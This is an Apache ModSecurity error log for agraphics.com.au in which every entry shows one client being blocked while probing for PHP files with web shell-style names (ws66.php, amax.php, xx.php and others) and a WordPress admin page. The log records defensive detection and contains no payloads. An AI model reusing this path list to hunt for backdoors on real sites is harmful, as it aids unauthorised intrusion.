[Thu Apr 23 21:54:14.404680 2026] [:error] [pid 42972:tid 43026] [client 51.12.86.96:21885] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeokhsOAb-3sOknsk4dI6wAAAEo"]
[Thu Apr 23 21:54:15.063856 2026] [:error] [pid 42972:tid 43028] [client 51.12.86.96:21769] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeokh8OAb-3sOknsk4dI8QAAAEw"]
[Thu Apr 23 21:54:15.589134 2026] [:error] [pid 64967:tid 64986] [client 51.12.86.96:21786] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeokh4AV4GfOOdX8Qzp4ygAAAZE"]
[Thu Apr 23 21:54:16.176173 2026] [:error] [pid 64998:tid 65018] [client 51.12.86.96:21845] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeokiIV5EysYcTLjmwiNPwAAAdA"]
[Thu Apr 23 21:54:16.952151 2026] [:error] [pid 65000:tid 65037] [client 51.12.86.96:5730] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeokiL6vRb9j6psK2ZaeBwAAAgQ"]
[Thu Apr 23 21:54:17.718251 2026] [:error] [pid 65000:tid 65050] [client 51.12.86.96:21841] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeokib6vRb9j6psK2ZaeCgAAAhE"]
[Thu Apr 23 21:54:18.296817 2026] [:error] [pid 42973:tid 43050] [client 51.12.86.96:21852] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeokim6I0QqmmmLTHE0kkQAAAIc"]
[Thu Apr 23 21:54:18.897285 2026] [:error] [pid 65000:tid 65046] [client 51.12.86.96:21818] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeokir6vRb9j6psK2ZaeDgAAAg0"]
[Thu Apr 23 21:54:19.644337 2026] [:error] [pid 59700:tid 59721] [client 51.12.86.96:21789] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeoki5XyGZJFeAIDWtkwPwAAAVM"]
[Thu Apr 23 21:54:20.346534 2026] [:error] [pid 65000:tid 65038] [client 51.12.86.96:21808] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeokjL6vRb9j6psK2ZaeFAAAAgU"]
[Thu Apr 23 21:54:20.961423 2026] [:error] [pid 65000:tid 65053] [client 51.12.86.96:21771] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeokjL6vRb9j6psK2ZaeFwAAAhQ"]
[Thu Apr 23 21:54:21.813224 2026] [:error] [pid 65000:tid 65048] [client 51.12.86.96:21847] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeokjb6vRb9j6psK2ZaeHAAAAg8"]
[Thu Apr 23 21:54:22.391121 2026] [:error] [pid 64998:tid 65003] [client 51.12.86.96:5721] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeokjoV5EysYcTLjmwiNRgAAAcE"]
[Thu Apr 23 21:54:23.056406 2026] [:error] [pid 65000:tid 65038] [client 51.12.86.96:21840] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeokj76vRb9j6psK2ZaeIQAAAgU"]
[Thu Apr 23 21:54:23.872000 2026] [:error] [pid 64998:tid 65007] [client 51.12.86.96:21812] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeokj4V5EysYcTLjmwiNSQAAAcU"]
[Thu Apr 23 21:54:24.646894 2026] [:error] [pid 42973:tid 43058] [client 51.12.86.96:21858] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeokkG6I0QqmmmLTHE0kkwAAAI8"]
[Thu Apr 23 21:54:25.360426 2026] [:error] [pid 65000:tid 65047] [client 51.12.86.96:21812] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeokkb6vRb9j6psK2ZaeJgAAAg4"]
[Thu Apr 23 21:54:26.108724 2026] [:error] [pid 42973:tid 43057] [client 51.12.86.96:21785] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeokkm6I0QqmmmLTHE0klgAAAI4"]
[Thu Apr 23 21:54:26.918167 2026] [:error] [pid 42973:tid 43067] [client 51.12.86.96:5706] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeokkm6I0QqmmmLTHE0kmQAAAJg"]
[Thu Apr 23 21:54:27.617918 2026] [:error] [pid 42972:tid 43038] [client 51.12.86.96:5705] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeokk8OAb-3sOknsk4dI-wAAAFY"]
[Thu Apr 23 21:54:28.186304 2026] [:error] [pid 46953:tid 46964] [client 51.12.86.96:5749] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeoklEnlpdHh-P6wKbo-QAAAAkg"]
[Thu Apr 23 21:54:28.771981 2026] [:error] [pid 43083:tid 43109] [client 51.12.86.96:5733] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeoklDC5hrvNXosL83J9aAAAANg"]
[Thu Apr 23 21:54:29.462578 2026] [:error] [pid 25635:tid 25653] [client 51.12.86.96:21783] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeoklcRxv6UsgRGKB3I2dAAAAQ4"]
[Thu Apr 23 21:54:30.132740 2026] [:error] [pid 43083:tid 43100] [client 51.12.86.96:21882] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeokljC5hrvNXosL83J9aQAAAM8"]
[Thu Apr 23 21:54:30.718617 2026] [:error] [pid 64998:tid 65015] [client 51.12.86.96:21870] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeokloV5EysYcTLjmwiNVAAAAc0"]
[Thu Apr 23 21:54:31.433473 2026] [:error] [pid 43083:tid 43094] [client 51.12.86.96:21854] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoklzC5hrvNXosL83J9awAAAMk"]
[Thu Apr 23 21:54:32.117747 2026] [:error] [pid 59700:tid 59718] [client 51.12.86.96:21793] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeokmJXyGZJFeAIDWtkwSAAAAVA"]
[Thu Apr 23 21:54:32.724048 2026] [:error] [pid 59700:tid 59711] [client 51.12.86.96:5708] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeokmJXyGZJFeAIDWtkwTAAAAUk"]
[Thu Apr 23 21:54:33.342522 2026] [:error] [pid 59700:tid 59706] [client 51.12.86.96:21872] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeokmZXyGZJFeAIDWtkwTgAAAUQ"]
[Thu Apr 23 21:54:33.924848 2026] [:error] [pid 43083:tid 43086] [client 51.12.86.96:21819] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeokmTC5hrvNXosL83J9bgAAAME"]
[Thu Apr 23 21:54:34.608738 2026] [:error] [pid 43083:tid 43095] [client 51.12.86.96:21765] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeokmjC5hrvNXosL83J9cwAAAMo"]
[Thu Apr 23 21:54:35.286609 2026] [:error] [pid 43083:tid 43087] [client 51.12.86.96:21798] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeokmzC5hrvNXosL83J9dgAAAMI"]
[Thu Apr 23 21:54:35.942918 2026] [:error] [pid 43083:tid 43096] [client 51.12.86.96:5754] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeokmzC5hrvNXosL83J9eAAAAMs"]
[Thu Apr 23 21:54:36.495004 2026] [:error] [pid 65000:tid 65052] [client 51.12.86.96:5731] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoknL6vRb9j6psK2ZaeKAAAAhM"]
[Thu Apr 23 21:54:37.167843 2026] [:error] [pid 46953:tid 46981] [client 51.12.86.96:5756] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoknUnlpdHh-P6wKbo-TgAAAlg"]
[Thu Apr 23 21:54:37.775484 2026] [:error] [pid 42971:tid 43002] [client 51.12.86.96:5750] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoknTEP2_5RswrH8bEuhAAAABA"]
[Thu Apr 23 21:54:38.438808 2026] [:error] [pid 65000:tid 65055] [client 51.12.86.96:21814] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeoknr6vRb9j6psK2ZaeKgAAAhY"]
[Thu Apr 23 21:54:39.070485 2026] [:error] [pid 64998:tid 65015] [client 51.12.86.96:21822] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeokn4V5EysYcTLjmwiNXgAAAc0"]
[Thu Apr 23 21:54:39.693102 2026] [:error] [pid 64998:tid 65011] [client 51.12.86.96:21776] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeokn4V5EysYcTLjmwiNYgAAAck"]
[Thu Apr 23 21:54:40.319875 2026] [:error] [pid 64998:tid 65008] [client 51.12.86.96:21817] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeokoIV5EysYcTLjmwiNZgAAAcY"]
[Thu Apr 23 21:54:40.926570 2026] [:error] [pid 42971:tid 43010] [client 51.12.86.96:21790] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aeokoDEP2_5RswrH8bEuiAAAABg"]
[Thu Apr 23 21:54:41.625751 2026] [:error] [pid 64998:tid 65018] [client 51.12.86.96:21770] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aeokoYV5EysYcTLjmwiNaQAAAdA"]
[Thu Apr 23 21:54:42.283432 2026] [:error] [pid 42972:tid 43016] [client 51.12.86.96:21784] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aeokosOAb-3sOknsk4dJBwAAAEA"]
[Thu Apr 23 21:54:42.943800 2026] [:error] [pid 65000:tid 65050] [client 51.12.86.96:21794] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aeokor6vRb9j6psK2ZaeMAAAAhE"]
[Thu Apr 23 21:54:43.570421 2026] [:error] [pid 42972:tid 43023] [client 51.12.86.96:21810] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeoko8OAb-3sOknsk4dJHAAAAEc"]
[Thu Apr 23 21:54:44.222636 2026] [:error] [pid 42972:tid 43021] [client 51.12.86.96:21831] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeokpMOAb-3sOknsk4dJJgAAAEU"]
[Thu Apr 23 21:54:44.847379 2026] [:error] [pid 64998:tid 65026] [client 51.12.86.96:21878] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeokpIV5EysYcTLjmwiNagAAAdg"]
[Thu Apr 23 21:54:45.487008 2026] [:error] [pid 65000:tid 65041] [client 51.12.86.96:6122] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeokpb6vRb9j6psK2ZaeNAAAAgg"]
[Thu Apr 23 21:54:46.244883 2026] [:error] [pid 43083:tid 43099] [client 51.12.86.96:21823] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aeokpjC5hrvNXosL83J9fAAAAM4"]
[Thu Apr 23 21:54:46.790223 2026] [:error] [pid 64998:tid 65012] [client 51.12.86.96:21820] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aeokpoV5EysYcTLjmwiNcgAAAco"]
[Thu Apr 23 21:54:47.530860 2026] [:error] [pid 46953:tid 46970] [client 51.12.86.96:6098] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aeokp0nlpdHh-P6wKbo-UQAAAk4"]
[Thu Apr 23 21:54:48.161781 2026] [:error] [pid 64998:tid 65017] [client 51.12.86.96:21849] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aeokqIV5EysYcTLjmwiNdwAAAc8"]
[Thu Apr 23 21:54:49.663279 2026] [:error] [pid 42971:tid 43010] [client 51.12.86.96:6090] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeokqTEP2_5RswrH8bEunAAAABg"]
[Thu Apr 23 21:54:50.293139 2026] [:error] [pid 43083:tid 43101] [client 51.12.86.96:21875] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeokqjC5hrvNXosL83J9ggAAANA"]
[Thu Apr 23 21:54:51.895030 2026] [:error] [pid 43083:tid 43090] [client 51.12.86.96:21770] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeokqzC5hrvNXosL83J9gwAAAMU"]
[Thu Apr 23 21:54:52.510305 2026] [:error] [pid 64998:tid 65010] [client 51.12.86.96:21772] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeokrIV5EysYcTLjmwiNhgAAAcg"]
[Thu Apr 23 21:54:53.277223 2026] [:error] [pid 42971:tid 42991] [client 51.12.86.96:5753] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeokrTEP2_5RswrH8bEunQAAAAU"]
